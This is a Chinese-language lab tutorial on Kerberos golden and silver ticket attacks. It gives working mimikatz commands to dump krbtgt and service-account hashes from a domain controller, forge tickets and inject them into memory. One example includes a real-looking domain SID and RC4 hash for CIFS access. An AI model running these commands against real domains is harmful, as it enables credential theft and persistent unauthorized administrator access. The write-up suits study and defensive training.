黄金票据&白银票据
黄金票据
在kerberos的认证过程中,AS_REP中的TGT是使用 krbtgt
用户的hash进行加密的,那么如果我们获取到了 krbtgt
的hash,也就能够伪造任意TGT,就能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。因为krbtgt
只存在于域控上,所以使用黄金票据就说明之前获取过域控的权限。
使用黄金票据需要获取以下信息
- 需要伪造的用户名(通常为域管理员)
- 完整的域名
- 域的SID
krbtgt
的hash
其中域的SID就是指域用户的SID去掉最后的那部分
可以看到novic4和novic3的SID的区别只在最后一部分,前面的部分完全一样。
黄金票据其实主要是做权限维持用的,当我们丢失了已获取的域管权限,但是手上还有一个域普通用户的权限,这时我们就可以通过黄金票据来重新获取域管权限。
测试
环境:
- windows2012 DC
- windows7 普通域机器
注入黄金票据前在win7上执行
分别在两台机器上上传 mimikatz
,现在域控上导出krbtgt
的ntlm和域的SID
peivilege::debug
lsadump::lsa /patch //专用于在域控制器上导出用户密码或 hash
接着到win7上生成TGT凭证
kerberos::golden /user:[username] /domain:[domain name] /sid:[SID] /krbtgt:[krbtgt ntlm] /ticket:[filename]
就在当前目录生成了 ticket.kirbi
然后将TGT注入到内存
kerberos::ptt ticket.kribi
使用 kerberos::tgt
即可查看我们注入的凭证,然后exit,我们就获取到域管理员的权限了
白银票据
在客户端和TGS的认证过程中,认证成功后,TGS会返回使用服务端hash加密的 server ticket
,那如果我们获取了服务端的hash,就可以自己签发这个服务授予票据,相当于伪造了TGS。因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。
使用白银票据需要获取一下信息
- 完整的域名
- 域的SID
- 目标服务器的FQDN(也就是主机名和域名)
- 可利用的服务
- 服务账号的hash
- 需要伪造的用户名
测试
这里使用白银票据来伪造 CIFS 服务权限,CIFS 服务通常用于Windows 主机之间的文件共享。
获取服务账号的hash
然后生成并注入银票
kerberos::golden /domain:novic4.test /sid:S-1-5-21-1664645938-1184495279-1874068674 /target:DC.novic4.test /rc4:6e7a4016ad67fc364496dff28021abfb /service:cifs /user:administrastor /ptt
可以看到成功注入银票
能够成功获取到域控的共享文件夹,但是CIFS是针对于文件共享服务的,其他服务并不能使用该银票
可以看到,访问被拒绝